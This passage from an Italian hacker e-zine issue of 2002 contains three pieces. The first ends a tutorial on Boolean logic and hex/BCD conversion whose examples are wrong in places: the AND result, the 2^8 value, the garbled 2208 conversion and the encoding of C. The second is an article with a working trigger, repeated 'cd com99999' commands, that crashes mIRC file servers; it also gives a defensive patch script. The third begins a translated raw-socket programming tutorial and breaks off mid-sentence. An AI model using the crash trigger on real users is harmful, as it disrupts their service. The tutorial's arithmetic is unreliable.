ambito di algebra Booleana , solitamente infatti | | la somma logica di 1 e 1 è 1 (ma va ? ) qui invece 1 + 1 = 0. | | programmazione, variabili : | | | | | | - SARA = ragazza - ERIKA = ragazza - STEFANO = ragazzo - ALESSIO = | | ragazzo | | | | | | e i casi : | | | | IF SARA = "ragazza" OR STEFANO = "ragazza" THEN ecc. QUESTA RIGA DARA' | | COME RISULTATO LOGICO 1 PERCHE ALMENO UNA DELLE 2 CONDIZIONI E' VERA | | | | IF SARA = "ragazza" AND ERIKA = "ragazza" THEN ecc.. QUESTA RIGA DARA' | | COME RISULTATO LOGICO 0 DATO CHE TUTTE E DUE LE CONDIZIONI SONO VERE | | | | IF ALESSIO = "ragazza" AND STEFANO = "ragazza" THEN.. QUESTA RIGA DARA' | | CONE RISULTATI LOGICO 0 PERCHE' NESSUNA DELLE DUE CONDIZIONI E' | | SODDISFATTA | | | | -=(NUMERAZIONE ESADECIMALE)=- | | | | | | la scala esadecimale ( che d'ora in poi abbrevieremo in HEX ) è | | ampiamente usata in campo informatico ( basta pensare che il campo data | | in un pacchetto TCP/IP è "scritto" in HEX ) ed è importante sapersi | | muovere in questo ambito. In questi txt esamineremo il sistema di | | trasformazione BCD (8421) ovvero "Binary Coded Decimal = codifica | | binaria del sistema decimale" Questo codice permette la codifica, | | mediante quattro bit binari, delle dieci cifre del sistema di | | numerazione decimale. Anche qui c'è da fare una piccola premessa. | | L'elaboratore ragione in binario ed è quindi fondamentale conoscere | | questa scala, anche perchè, senza di essa non possiamo trasformare il | | numero in HEX ( usando il BCD , esistono altri metodi per cui possiamo | | farne a a meno ). Se avete letto la definizione di bit ad inizio | | articolo avrete visto come un byte è diviso in otto bit, queste 8 celle | | di memoria possono avere solo valore 1 o 0 ( così come detto prima ). | | Per transformare il valore di un byte espresso in binario in decimale | | dobbiamo usare il metodo classico di conversione. Questo metodo | | indentifica l'ultima byte a destra il meno signifativo e il suo opposto | | come il più significativo :) e associa ad ogni bit una potenza di 2 ( | | propriò perchè la base di numerazione binaria si basa su 2 cifre ). Dove | | il bit meno significativo ha potenza 2^0 e il più significativo 2^7. | | | | | | ESPONENTE POTENZA DI 2 7 6 5 4 3 2 1 0 GLi 8 bit | | | | | | | | | | | | | | | | | i valori, quindi saranno i seguenti | | | | | | 2^0 = 1 ( 1 bit a destra , meno significativo ) 2^1 = 2 ( 2 bit a | | destra ) 2^2 = 4 ( 3 bit a destra ) 2^3 = 8 ( 4 bit a destra ) 2^4 = | | 16 ( 5 bit a destra ) 2^5 = 32 ( 6 bit a destra ) 2^6 = 64 ( 7 bit a | | destra ) 2^8 = 128 (8 bit a destra, più significativo ) | | | | | | La loro somma, ovvero l'intero byte in decimale è espresso in decimale è | | 255. da questi due schemi deduciamo ke se vogliamo convertire 01000000 | | decimale il risultato non potrà ke essere 64 :) così come 10000001 sarà | | 129. Il sistema BCD ha lo stesso principio ma si basa su gruppi di 4 | | bit, in decimale 8-4-2-1 ( ecco perchè BCD(8421) ). Fermiamoci un attimo | | a pensare però... il nostro sistema viene detto decimale perchè si basa | | su 10 cifre ( 0 - 1 - 2 - 3 - 4 - 5 - 6 - 7 - 8 - 9 ), il massimo che si | | può raggiungere senza passare alle decine, è 9, LO ZERO VA CONTATO! ecco | | perchè decimale , dieci numeri da 1 unita e dopo si può solo passare | | alle decine!. in HEX è la stessa cosa esiston 16 cifre da un unità ( 0 | | -1-2-3-4-5-6-7-8-9-A-B-C-D-E-F ) e quindi F non sarà 16 ma 15! perchè | | come in DEC dopo il nove va aggiunto un unità in modo da passare a 10 | | anche dopo F bisogna passare alla scala superiore! Infatti 8+4+2+1 = 15 | | = F . Detto questo esaminiamo un gruppo di 4 bit : | | | | | | POTENZA DI 2 3 2 1 0 4 BIT | | | | | | | VALORE DECIMALE 8 4 2 1 | | | | | | Abbiamo ora tutti gli elementi per eseguire la nostra prima conversione | | ;), naturalmente deve essere un numero compreso tra 0-15 . proviamo 13 | | | | | | POTENZA DI 2 3 2 1 0 4 BIT | | |1|1|0|1| VALORE DECIMALE 8 4 2 1 | | | | | | | | basandoci sulla normale conversione binaria (v.prima )possiamo dire | | 8+4+1 > DEC = 13 8+4+1 > HEX = D | | | | data questa base dovremmo essere in grado di covertire qualsiasi numero | | passandolo da DEC - BIN - HEX sfruttando il sisteam BCD e aggiungendo n | | gruppi di 4 bit tanto più il numero è grande. Facciamo a questo | | proposito un esempio, cercheremo di convertire il numero 49. | | | | | | | | POTENZE DI 2 7 6 5 4 3 2 1 0 4+4 BIT | | |0|0|1|1| |0|0|0|1| VALORE DEC 8 4 2 1 8 4 2 1 | | | | | | da notare come le potenze di 2 aumentino di 4 alla volta e non | | ricomincino ogni gruppo di 4, questo perchè i numeri possono essere | | maggiorni di 15 e bisogna riuscire ad esprimerli in potenze di 2. | | Tornando alla conversione possiamo constatare come le potenze di 2 diano | | effetivamente 49 ( 2^5 = 32 + 2^4 = 16 + 2^0 = 1 / 32+16+1 = 49 ). | | Guardiamo ora i valori in basso ovvero "VALORE DEC" rispettivo ad ogni | | cella di bit settati a 1 esaminiamo come : | | | | PRIMO GRUPPO : 0011 = 2+1 > DEC = 3 0011 = 2+1 > HEX = 3 | | | | | | SECONDO GRUPPO : 0001 = 1 > DEC = 1 0001 = 1 > HEX = 1 | | | | | | concludendo possiamo quindi dire che 49d = 31h ( d = indica che il | | numero è decimale, h = indica che il numero è esadecimale). | | | | N.B. : 31h non si legge "trentuno" ma bensì "tre uno". | | | | Come detto prima nel caso di un numero che vada oltre 15 si usano i suoi | | multipli per cui dovreste essere tranquillamente in grado di convertire | | un numero come 2208 semplicemente usando 3 gruppi di 4 bit e aumentando | | le potenze di 2 di 4 esponenti: | | | | | | | | POTENZE DI 2 11 10 9 8 7 6 5 4 3 2 1 0 4+4+4 BIT | | |1|0|0|1| |1|0|1|0| |0|0|0|0| VALORE DEC 8 4 2 1 8 | | 4 2 1 8 4 2 1 | | | | | | | | 2^11 = 2048 2^7 = 128 2^5 = 32 | | | | 2048+128+32 = 2048 | | | | | | | | PRIMO GRUPPO : 01000 = 4 > DEC = 4 01000 = 4 > HEX = 4 | | | | SECONDO GRUPPO : 1010 = 8+2 > DEC = 10 1010 = 8+2 > HEX = A | | | | TERZO GRUPPO = 0 ( bisogna scriverlo! ) | | | | quindi il risultato sarà : 8A0h ( pronuncia : otto - A - zero ) | | | | | | Detto tutto ciò non ci dovrebbero essere problemi a convertire un numero | | HEX in DEC con il BCD. Facciamol velocemente provando a non usare la | | piccola,solita, tabella. Prendiamo com esempio C64h. Ora scomponiamolo | | | | C = 12 , quindi 8 + 4 > BIN = 1001 6 = 4+2 > BIN = 0110 4 = 4 > BIN = | | 0100 | | | | le 3 cifre del numero ci fanno capire che sono stati usati 3 coppie di 4 | | bit per transformalo, di conseguenze le potenze di 2 del gruppo di bit | | che ha formato C andrà da 11 a 8 , quello che ha formato 6 da 7 a 4 e | | con 4 da 3-0. Saputo questo esaminiamo 1001 , il primo uno a sinistra | | sarà allora 2^11 e l'ultima a destra 2^8. In 0110 , il primo uno da | | sinistra sarà 2^6 e l'altro 2^5 in 0100 , l'unico 1 sarà 2^2. | | | | Quindi | | | | 2^11 = 2048 2^8 = 512 2^6 = 64 2^5 = 32 2^2 = 4 | | | | numero in dec = 2048 + 512 + 64 + 32 + 4 = 3172. | | | | Con questo ultimo calcolo ho finito... questa è la seconda volta che | | riscrivo questo articolo... ( la versione beta, anzi alpha ( vero XP ? | | :) era molto incasinata ) credo che questa volta sia comprensibile. Le | | fonti sono : | | | | - la mia piccola mente malata :D - Elettronica Logica ( R.Giometti | | - F.Frascari ) Ed.Calderini | | | | | | per concludere vi do un consigli... usate un software di conversione | | esadecimale :D | | | | alla prox Byz CiLi0 | | | | | | UIN : 92732867 e.mail : fangame@virgilio.it | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [MiSC] #06 - 25/04/2002 | | FiLESERVER BUG [^_][ice][man][_^] 0x10/0x1D | +--------------------------------------------------------------------------+ | | | Autore: ^_][ice][man][_^ | | Data: 4/12/01 ore 14.03 | | Informazioni: Sono ancora in pigiama visto ke la scuola è in | | okkupazione ed ho fame dato ke sono le 14 ( ho fatto 1 ora fa | | colazione :))) hihihi ) | | | | | | | | |---MENU----|____________________ | | |¯¯¯¯¯¯¯¯¯¯¯ | | | | 1) Disclaimer ctrl+Z | | | | 2) Premessa ctrl+Q | | | | 3) Introduzione ctrl+A | | | | 4) Materiale utilizzato | | | | 5) Fase Pratica ctrl+X | | | | 6) Patch | | | | 7) Consigli e informazioni | | | | 8) Ringraziamenti | | | | 9) Contatti | | | |10) Quit ctrl+alt+canc | | | |________________________________| | | | | | | | | ------------------------- DISCLAIMER -------------------------------- | | | | QUESTO TESTO è STATO SCRITTO ESCLUSIVAMENTE CON L'INTENTO DI DARE | | INFORMAZIONE E NIENT'ALTRO!! L'AUTORE DI CODESTO TESTO ( | | ^_][ice][man][_^ ), IL VENINSIDE GROUP E TUTTE LE PERSONE CITATE IN | | QUESTO TXT NON SI RITENGONO RESPONSABILI DELL'USO CHE POTRETE FARE DI | | QUESTE INFORMAZIONI...GRAZIE | | | | --------------------------------------------------------------------- | | | | | | | | ------------------------ PREMESSA ------------------------------------- | | | | Innanzitutto ciao..cari lettori (ma dove stanno poi :pp :) ) . Voglio | | cominciare col dirvi che questo testo non vuole essere fonte di | | lamerate..., ma viene usato solo come mezzo di informazione per | | proteggersi da eventuali buchi presenti in alcune applicazioni. | | Infatti..oltre ad illustrarvi il problema , vi darò anche la relativa | | patch , in modo da poter rendere inutile qualsiasi attacco che vi | | verrà fatto ( come mi sento BILL hihihi). | | | | ----------------------------------------------------------------------- | | | | | | | | ------------------------INTRODUZIONE---------------------------------- | | | | Tutti voi conoscerete mIRC, il più famoso client IRC presente sulle | | macchine Winxx . Ed oltre a questo...se avete un pò di conoscenza, | | sarete informati anche riguardo il bug di windows: com1, lpt1 ecc... | | Per chi non lo conoscesse, dovete sapere che, digitando alcune parole | | chiavi tipo Com1, lpt1 ( che windows utilizza per identificare | | determinate porte ), sotto Il Dos di WIndows, vi comparirà un bell' | | Edit del Dos oppure si riavvierà il Command.com. Questo perchè sono | | parole chiavi usate dal sistema, le quali non possono essere | | utilizzate (almeno non dovrebbero)! Infatti provate a creare una | | cartella chiamandola Com1..vedrete che non vi permetterà di crearla. | | Almeno questo problema è stato riscontrato su Sistemi Win95 seconda | | edizione. Purtroppo è stato trovato un legame tra questo bug e | | l'applicazione mIRC, e più precisamente degli Fserve. | | Come dovreste sapere, molti utenti in IRC, mettono a disposizione una | | parte del contenuto del loro PC ( mp3, giochi completi, testi ecc.. ) | | ad altre persone che possono così scaricarlo. Infatti, digitando in | | room il trigger ( che è una stringa particolare che il mirc | | interpreta, ad esempio !mp3) si entra in una dcc chat la quale | | permette di navigare tra le cartelle messe a disposizione dall'Fserve, | | proprio come una shell Dos, e di scaricare tutto ciò che si vuole. | | Purtroppo in questa DCC chat è stato riscontrato un problema..persino | | sulla versione più recente del mIRC..la 5.91. Infatti digitando alcune | | stringhe all'interno della stessa...si provocherà il crash | | dell'applicazione, la quale dovrà per forza essere riavviata; la cosa | | più brutta è che non e nemmeno possibile visualizzare l'autore della | | lamerata per poterlo pikkiare :) | | | | ---------------------------------------------------------------------- | | | | | | | | ------------------------ MATERIALE UTILIZZATO ----------------------- | | | | Ora vi elencherò (sai poi quant'è lunga ) la lista del materiale da | | utiliizzare :) | | | | - Client che permette le DCC chat ( quindi non va bene Microzozz chat | | ),e la ricezione dei file. | | - Dovrete trovare su qualche server IRC degli FSERVE attivi | | ( NON vi SPIEGO COME FARE PERCHè NON VOGLIO CHE FACCIATE CIò CHE VI | | STO ILLUSTRANDO). | | | | - Finito qui :)) | | | | --------------------------------------------------------------------- | | | | | | | | ------------------------ FASE PRATICA ------------------------------- | | | | Una volta aperta una DCC Chat con un Fserve, basterà digitare per 29 | | volte circa...la stringa | | | | " cd com99999 " oppure " cd ltp99999 " (esclusi gli apici :E ). | | Vedrete che l'fserve vi risponderà così: | | | | cd com99999 | | [\com99999] | | cd com99999 | | [\com99999\com99999] ecc... finchè alla vostra richiesta | | l'Fserve non risponderà più! | | | | Sarà in quel momento che il Mirc crasherà, e si bloccherà tutto. | | Ovviamente se vedrete il nick ancora in room significa che il | | possessore dell'fserve non lo ha chiuso ancora. Il fatto di scrivere | | numeri 99999 è indifferente,xkè potrete scrivere qualunque numero. Al | | posto di com, come vi avevo detto prima è possibile mettere LPT, | | mentre invece AUX non funziona. | | | | /****** VI CHIEDO COMUNQUE DI NON PROVARLO SUGLI ALTRI, MA SE PROPRIO | | CI TENETE, APRITEVI UN PICCOLO DEMONE IRC E FATELO IN LOCALE ******\ | | | | Ovviamente l'Fserve cade, xkè c'è da parte dell'utente, la richiesta | | di una cartella che non esiste, ma allo stesso tempo esiste! Cioè | | logicamente sull HDD non esiste, ma Windows utilizza il nome COM, come | | abbiamo detto prima, per identificare alcune porte presenti sul PC ! | | | | --------------------------------------------------------------------- | | | | | | | | | | ---------------------------- PATCH ---------------------------------- | | | | Siccome questo bug non è molto conosciuto, e fino ad ora nessun | | sviluppatore del programma mIRC si è degnato di avviare una patch, io, | | essendo un amante del Mirc scripting, ho deciso di crearne uno con le | | mie mani | | | | Ecco a voi presentato: | | | | ;------------------------ <--- Taglia qui | | | | on ^*:serv:*:{ | | $iif( ( ( $left($2,3) == com ) && ( $mid($2,4,1) isnum ) ) || ( ( | | $left($2,3) == lpt ) && ( $mid($2,4,1) isnum ) ) , halt ) | | } | | | | | | ;----------------------- <---- Taglia qui | | | | Ovviamente questo pezzo di code, dovrà essere pastato all'interno | | della sezione Remote del vostro mIRC. | | Ora vi spiego la logica del codice: | | | | ON ^*:serv:*: ----> questo evento entra in funzione nel momento in | | cui si avvia una DCC Fserve il ^ permette al Mirc di non effettuare | | alcune operazioni usando il comando /halt | | | | $iif( cond,V,F) ----> questo identificatore interpreta la condizione | | ed esegue le istruzioni poste nel campo V se la condizione è | | vera,oppure quelle posta nel campo F se la stessa è falsa. | | | | | | $left($2,3) == com ---\ | | $left($2,3) == lpt ----> Questo invece, verifica se le prime 3 lettere | | della seconda stringa inserita dal'utente è COM ( o nel secondo caso | | LPT ) | | | | $mid($2,4,1) isnum ----> questo identificatore conterrà il carattere | | o numero presente nella secconda stringa alla posizione numero 4 | | | | halt -----------> non visualizzare e non eseguire il comando | | | | QUindi il codice può essere riassunto così: | | | | Se le prime tre lettere della seconda parola è uguale a COM e il 4° | | carattere è un numero, oppure se le prime tre lettere della seconda | | parola è uguale a LPT è il 4° carattere è un numero allora blocca | | l'esecuzione del comando. | | | | Nel momento in cui l'utente scriverà : CD COM99999 | | questo pezzò verificherà: ESITO | | | | se le prime 3 lettere formano la parola COM ( o lpt ) SI ---\ | | BLOCCA TESTO | | se la 4° lettera è un numero SI ---/ | | | | | | Mi sembra di essere stato chiaro, no??? Ovviamente, se masticate un pò | | di mIRC scripting potrete personalizzare i comandi, cioè ad esempio | | potete, invece di bloccare il testo, chiudere direttamente la finestra | | della DCC usando il comando /close -f $nick , così invece di bloccare | | la scritta, chiuderete direttamente la connessione..oppure un'altra | | idea è quella di mandargli una bestemmia ai morti dell'utente :))))) | | ....usate la fantasia..dunque! | | | | | | ------------------------------- CONSIGLI ED INFORMAZIONI ------------ | | | | SCUSATEMI SE SCRIVO IN STAMPATELLO, MA VOGLIO CHE LEGGIATE QUESTA | | PARTE...E SE NON LO FATE SIETE SOLO DEI PATETICI LAMER ! VI CHIEDO | | SOLO DI NON PROVARE QUESTO "EXPLOIT" SU UTENTI CONNESSI..XKè SE LO | | FATE SIETE SOLO DEI SEMPLICI BASTARDI!! VI SEMBRA GIUSTO DAR FASTIDIO | | A QUALCUNO CHE NON CI GUADAGNA NIENTE METTENDO I PROPRIO PROGRAMMI A | | VOSTA DISPOSIZIONE, E A QUELLA DEGLI ALTRI, FACENDOGLI SALTARE | | L'Fserve ??? E SE LO FACESSERO A VOI??? PERCIò, COME HO DETTO PRIMA, | | SE AVETE VOGLIA DI PROVARLO APRITEVI DUE MIRC E FATEVELO IN LOCALE! | | | | MESSAGGIO PER I POSSESSORI DI Fserve: RAGAZZI SE SIETE IN POSSESSO DI | | FSERVE, E SAPETE CHE è BUGGATO, VI CONSIGLIO DI COPIARVI QUEL PEZZO DI | | CODE NEI REMOTE!! VE LO CONSIGLIO DI CUORE... LA GENTE BASTARDA è | | OVUNQUE! | | | | SPERO DI ESSERVI STATO CHIARO!! | | | | --------------------------------------------------------------------- | | | | | | ------------------------------------ RINGRAZIAMENTI ----------------- | | | | Allora voglio ringraziare mephisto, zorks e tutti quelli dell'AIDSH | | che sono tanto bravi, il mio nuovo amico XanTHic`...spero ke la cosa | | sia reciproca :)) a Fig[a]rO' ( ti raccomando, la sezione consigli è | | rivolta a te ahahah...skerzo), ad ADvanCed, scusa se ho sbagliato a | | mettere le lettere minuscole ma non ho i log del tuo nick :)), cmq | | parioso quel gioco qwerty, poi ringrazio il mio amico NSN, che sta a | | scuola mia, ma non l'ho mai incontrato ;), ringrazio i ragazzi di #asm | | (albe, ^spider^, quake, true-love per le serate passate insieme a | | parlare di ragazze ), a SonGoten, a tutti quelli di #hackmaniaci e | | #smanettoni..scusate ma siete troppi per listarvi, Net-destroyer e | | tutti quelli di #veninside...grazie ragazzi | | | | (scusate se ho dimenticato qualcuno..ke non me ne voglia...ma ora non | | mi passa nessuno per la capa) | | | | | | FUCK TO: a tutti i lamer che utilizzeranno sto exploit, a 2 ragazze in | | particolare....di cui non faccio i nomi..penso che se lo riconoscano | | di essere BASTARDE DeNTRO, e basta :)) | | | | | | --------------------------------------------------------------------- | | | | | | | | | | ----------------------------------- CONTATTI ------------------------ | | | | Se avete da dirmi qualcosa, complimentarvi, qualke barzelletta, | | chiamarmi a lavoro :), farmi una chiaveca,criticare,uscire con me ( le | | ragazze ovviamente :)) ) scrivetemi ad uno di questi indirizzi: | | | | | | edivada@iol.it | | edivada84@inwind.it | | ice-man@mojodo.cjb.net | | | | Qui sotto allego anche la mia pgp public key | | | | | | | | | | -----BEGIN PGP PUBLIC KEY BLOCK----- | | Version: PGP for Personal Privacy 5.0 | | | | mQGiBDwWZlYRBAD9N88yA6lO8aRgKw4kmP7raPBkfgLCqqDBiF8hvKRgifh7IryZ | | NoKK41/GY46imQEkSW3hRBdKcWGyEPXNZq+8VHBtUnw2sEMK6riVsHFhWRb63vg0 | | YjtJgvNLQbx19PUFblsUcKxYZ/EWG+8cRayvV3z9JbSkwGnO2B199VUrAwCg/8ho | | atdLjJVU3+LD7vbw2qzese0D/0whunhS4nfIhm8utXvZZOlbQGGtc/HO3we1UVdj | | OFqSKFyxGfjwnKhQPvbW7Bz5PpkGzqsX6TM9kkAMY3BiRmcNjhWp2qPxxDRSKuof | | lkUK8Ttcvi3Qk7N99KEqsQJseSK2I+NBVLO5G0+oyz2JISyJOCBtwKXE/kjiOJBK | | Gc/PBACGCmPvc0KiRh7QRmR16Jo3ZQoP/KWR5pWInsstw530d3OXbcOYDxw5CU7G | | PyYSO6Gx50ZYID3AOjrKUwMoWehg58zz1T2N0B71YD4MEvh1TYKaAT60RdrxQQJd | | gGRkvHnPJ+zbVwpWKJX6kxgDsynNDxFjgY8HzP9+epLFbDkjHLQmXl9dW2ljZV1b | | bWFuXVtfXiA8ZWRpdmFkYTg0QGlud2luZC5pdD6JAEsEEBECAAsFAjwWZlYECwMB | | AgAKCRDVdxhTYMQgHVSbAKCWk90XBQp7IQzdD2tRDp8q/tNlfACePPy34QYaHzH/ | | b47azhRGHQb29a+5Ag0EPBZmVhAIAPZCV7cIfwgXcqK61qlC8wXo+VMROU+28W65 | | Szgg2gGnVqMU6Y9AVfPQB8bLQ6mUrfdMZIZJ+AyDvWXpF9Sh01D49Vlf3HZSTz09 | | jdvOmeFXklnN/biudE/F/Ha8g8VHMGHOfMlm/xX5u/2RXscBqtNbno2gpXI61Brw | | v0YAWCvl9Ij9WE5J280gtJ3kkQc2azNsOA1FHQ98iLMcfFstjvbzySPAQ/ClWxiN | | jrtVjLhdONM0/XwXV0OjHRhs3jMhLLUq/zzhsSlAGBGNfISnCnLWhsQDGcgHKXrK | | lQzZlp+r0ApQmwJG0wg9ZqRdQZ+cfL2JSyIZJrqrol7DVekyCzsAAgIH/iT2n3VA | | AgKMm/A+Qnd5fgI2qKpZE5o96B8TtodDdubh3lvtxG/TGjq6caoEcYccEU982nsC | | ZXDQuaAZpZ9KpAnqCedfEIpWjhdulSS1SwD7kpv2RLJFxQUYFM+QDMAvH8tIrGWi | | J6038tCDHH3KZeg2j0XF/JmUZSYLDHdqpexYyY6Xcp+S8bhM58FqL45/CH8OMZXM | | eRz3AiziGc1mZZ7muRzg5CgYCnDi7La99E0P9IVtwUFW6KeJMPw8b69rvL9wiicx | | m2W711ff8MbcQvOkQqPaeKJYibxnM+cyph9J0XBUE40UylWNGIy60tE7y653zqVL | | tIJ1oiOQP+i/tpuJAD8DBRg8FmZW1XcYU2DEIB0RAjRvAKDFsS7Ws1NZPLB2Arg9 | | o6ZDoMk9wACdEG4lEmb/aunHj02hBbCg6yTK/E4= | | =ad/o | | -----END PGP PUBLIC KEY BLOCK----- | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [MiSC] #06 - 25/04/2002 | | PR0GRAMMARE LE REW S0CKET (TRADUZi0NE) [XpTerminator] 0x11/0x1D | +--------------------------------------------------------------------------+ | | | -==============================- | | | Programmare le raw socket | | | | Nitr0gen | | | =/____________________________\= | | | traduzione by XpTerminator | | | -==============================- | | | | Premetto innanzi tutto che questo testo non e` di mia fattura, io ho | | effettuato la traduzione dalla lingua inglese e delle modifiche ed | | aggiunte per rendere il testo più chiaro; visto che in lingua | | italiana non si trovano documenti del genere, ed essendo | | interessante, ho ritenuto utile effettuarne la traduzione. | | | | Exile 2000 International Coding Team | | (http://www.exile2k.org) | | Documentation about native raw socket programming | | All rights reserved Exile Team | | | | Free to distribute this text just keep it's integrity | | Ripping is lame remember this | | | | | | Per domande e commenti: (in english! ;) | | | | Nitr0gen | | nitr0gen@hackersnews.com | | | | oppure: (in italiano:) | | | | XpTerminator | | xp_terminator@katamail.com | | | | | | | | -----[ Prefazione ]--- | | | | | | A differenza di come pensano molte persone, | | programmare le raw socket non è annoiante ed una | | perdita di tempo, anzi è una buona esperienza per | | imparare ed a volte è molto utile. Programmando le | | raw socket si ha molta più flessibilità rispetto ai | | programmi che utilizzano socket con librerie standard | | e quindi diventa facile implementare nuovi protocolli | | e controllare cosa sta realmente accadendo anche al | | più basso dei livelli. | | Costruire pacchetti tramite una libreria è efficiente, | | ma immagina quanto lo sia tramite una TUA libreria. | | Non mi trovo qui per spiegare quanto sia figo o | | potente programmare le raw socket, quindi vado | | direttamente al dunque. Prima di tutto, voglio | | avvertire che per poter comprendere al meglio questo | | testo bisogna avere una buona conoscenza del C e della | | struttura della rete. | | Nella prima parte del testo introdurrò l'header ip, | | l'header tcp, quello udp ed infine quello icmp, ultimo | | non per importanza. | | | | La seconda parte di questa prefazione è dedicata ai | | lamer: per favore abbiate rispetto dell'autore del | | testo (Nitr0gen) e non rippate queso testo per vostri | | scopi! | | | | Nitr0gen and Exile 2000 International Coding Team: | | don't worry! i've only translated your document, | | and i've riported this! | | | | | | | | | | | | | | -----[ Indice ]--- | | | | | | | | | | [ Header Ip ] | | - Teoria | | - Frammentazione | | - Checksum | | - Esempi | | | | [ Header Tcp ] | | - Teoria | | - Esempi | | | | [ Header Udp ] | | - Teoria | | - Esempi | | | | [ Header Icmp ] | | - Teoria | | - Esempi | | | | [ Implementazione ] | | | | [ Conclusioni ] | | | | [ Appendice A ] | | - Strutture e Funzioni | | - Codici sorgente | | | | [ Riferimenti ] | | | | [ Ringraziamenti ] | | | | | | | | | | [ CAPITOLO 1 ] | | (HEADER IP) | | | | | | ---[ Teoria | | | | | | Bene, se sei interessato nella programmazione delle | | raw socket presumo che tu conosca le basi del tcp/ip. | | L'header IP fa parte del layer di rete della suite di | | protocolli tcp/ip. Fondamentalmente l'header ip è usato | | per routare i pacchetti attraverso una rete,come internet | | una wan o una lan. Il metodo di trasmissione di questo | | header è inaffidabile poichè non hai garanzia dell'arrivo | | a destinazione del pacchetto, o meglio, quando invii | | dei pacchetti, non hai la certezza che questi arrivino a | | destinazione nel giusto ordine in cui li hai inviati. | | Prendi per esempio i pacchetti A B. A viene inviato prima | | di B, ma non è garantito che A prenderà la stessa strada | | (routing) di B per arrivare a destinazione. Il risultato | | di ciò è quello che ho detto prima, i pacchetti non | | vengono ricevuti nello stesso ordine di partenza. Come ho | | ho detto dalla partenza, questo testo non è un corso di | | tcp/ip ma un testo sulla programmazione, quindi, mi | | limiterò alla programmazione. A titolo di informazione, | | quando costruisci un pacchetto non dimenticare htons() o | | htonl() per rispettare il giusto ordine dei byte. | | Dei lettori si staranno sicuramente chiedendo perchè sto | | dicendo questo, rispondo dicendo che io ho passato un | | mese per risolvere questo piccolo problema. | | | | | | | | | | Questa è una rappresentazione ascii dell'header ip: | | | | | | 0 15-16 31 | | +-----+-----+-----------+-----------------------+ \ | | | Ver | IHL | TOS | Total Length | \ | | | (4) | (4) | (8) | (16 ) | | | | +-----+-----+-----------+--------+--------------+ | | | | Identification | Flags | Frag Offset | | | | | (16) | (3) | (13) | | | | +-----------+-----------+--------+--------------+ | | | | TTL | Protocol | Header Checksum | 20 Bytes | | | (8) | (8) | (16) | | | | +-----------+-----------+-----------------------+ | | | | Source Ip Address | | | | | (32) | | | | +-----------------------------------------------+ | | | | Destination Ip Address | | | | | (32) | / | | +-----------------------------------------------+ / | | < Options > | | > (if any) < | | +-----------------------------------------------+ | | > < | | < Data > | | > < | | | | | | | | Version (4 bits): | | Il campo version è usato per indicare la | | versione del IP (Internet Protocol), quindi o IpV4 | | o IpV6. | | | | | | IHL (Internet Header Length, 4 bits): | | Il campo ihl indica la lunghezza dell'header | | Ip. Quando non si usano opzioni, il valore di default | | dovrebbe essere 5. | | | | | | TOS (Type Of Service, 8 bits): | | Tos è utilizzato per specificare le necessità | | del servizio. | | | | Vi sono 4 opzioni per TOS: | | | | *NOME* *Valore esadecimale* | | | | 1- Minimize delay 0x10 | | 2- Maximize throughput 0x08 | | 3- Maximize reliability 0x04 | | 4- Minimize monatary cost 0x02 | | | | 1: Questa opzione è utilizzata da applicazioni | | che trasmettono piccole quantità di dati e | | necessitano di una risposta veloce. | | | | 2: Caso opposto: questo è usato da applicazioni | | che trasmettono grandi quantità di dati. | | | | 3: Non ne parlerò in questo testo. | | | | 4: Non ne parlerò in questo testo. | | | | Dato che TOS è una caratteristica sperimentale | | dell'ip, non ci dilungheremo su di esso in questo | | testo. | | | | | | Total Length (8 bits): | | Questo specifica la grandezza del datagramma, | | (header + dati). Per esempio: | | Prendiamo un pacchetto (ip header + tcp header[syn]) | | senza dati. La grandezza dell'header ip è 20 e quella | | dell'header tcp anche, quindi il campo tot_len sarà 40. | | | | | | Identification (16 bits): | | Id è utilizzato per identificare i frammenti. | | Quando un pacchetto non è frammentato questo campo | | è inutile. L'Id solitamente aumenta da datagramma a | | datagramma; ogni frammento ha lo stesso id del | | datagramma a cui appartiene. | | | | | | Flags (3 bits): | | Questo campo dell'header ip è utilizzato dalla | | frammentazione. Ci sono 4 flag: | | | | *NOME* *Valore esadecimale* | | | | No flags 0x00 | | More fragment 0x01 | | Don't fragment 0x02 | | More and Dont't frag 0x03 | | | | More fragment significa che ci sono ancora frammenti | | dopo questo datagramma, don't fragment dice che il | | pacchetto non è frammentato. Quando un datagramma è | | frammentato,l'ultimo frammento non ha mai il flag MF | | (More Fragment) settato. | | | | | | Fragment Offset (13 bits): | | Questo è l'offset con il quale il pacchetto | | è stato calcolato. Il primo datagramma ha offset 0. | | Questo campo è calcolato a 64 bits. Quando si calcola | | l'offset, l'ultimo offset sarà uguale a tot_len. | | | | | | TTL (Time To Live, 8 bits): | | Questo campo specifica quanti hop potrà | | effettuare il datagramma. Esso è decrementato ogni | | volta che viene rispedito (durante il routing: ogni | | router decrementa di 1 questo valore). Quando il TTL | | raggiunge 0, il datagramma viene ignorato e viene | | inviato al mittente un messaggio icmp di TIME EXCEED. | | Questo avviene per evitare che un datagramma giri | | all'infinito per la rete. | | | | | | Protocol (8 bits): | | Questo campo specifica il protocollo per il | | layer di trasmissione. Il valore può essere: | | | | *NOME* *Valore esadecimale* | | | | IPPROTO_TCP 0x06 | | IPPROTO_UDP 0x11 | | IPPROTO_ICMP 0x01 | | | | Vi sono anche altri protocolli ma non saranno trattati | | in questo testo. Per maggiori informazioni osserva il | | seguente file header che definisce tutte le costanti. | | '/usr/include/linux/in.h' | | | | | | Header CheckSum (16 bits): | | Il checksum è utilizzato per verificare | | l'integrità di un datagramma. Se i dati durante | | il trasporto si sono corrotti o modificati,esso | | è in grado di capirlo. Se il checksum non viene | | specificato nel datagramma, questo viene | | scartato senza alcun tipo di avvertenza. Dal | | punto di vista del programmatore ciò risulta | | annoiante.Osserva l'appendice A per la funzione | | del checksum ( in_cksum() ). | | | | | | Source Ip (32 bits): | | L'indirizzo ip dell'host che ha inviato il | | datagramma. | | | | Destination Ip (32 bits): | | L'indirizzo ip della macchina a cui dovrà | | essere "recapitato" questo datagramma. | | | | | | Options (Variable): | | Il campo options non sarà trattato in | | questo testo. | | | | | | | | Dal punto di vista della programmazione, costruire | | un header ip significa semplicemente riempire una struttura. | | Dato che sto utilizzando Linux, tutti i riferimenti che farò | | a file di sistema saranno basati su kernel 2.2.13. | | | | | | | | | | ---[ Frammentazione | | | | | | In parole povere, la frammentazione avviene | | quando il MTU (Maximum Transfert Unit) è minore della | | lunghezza totale del 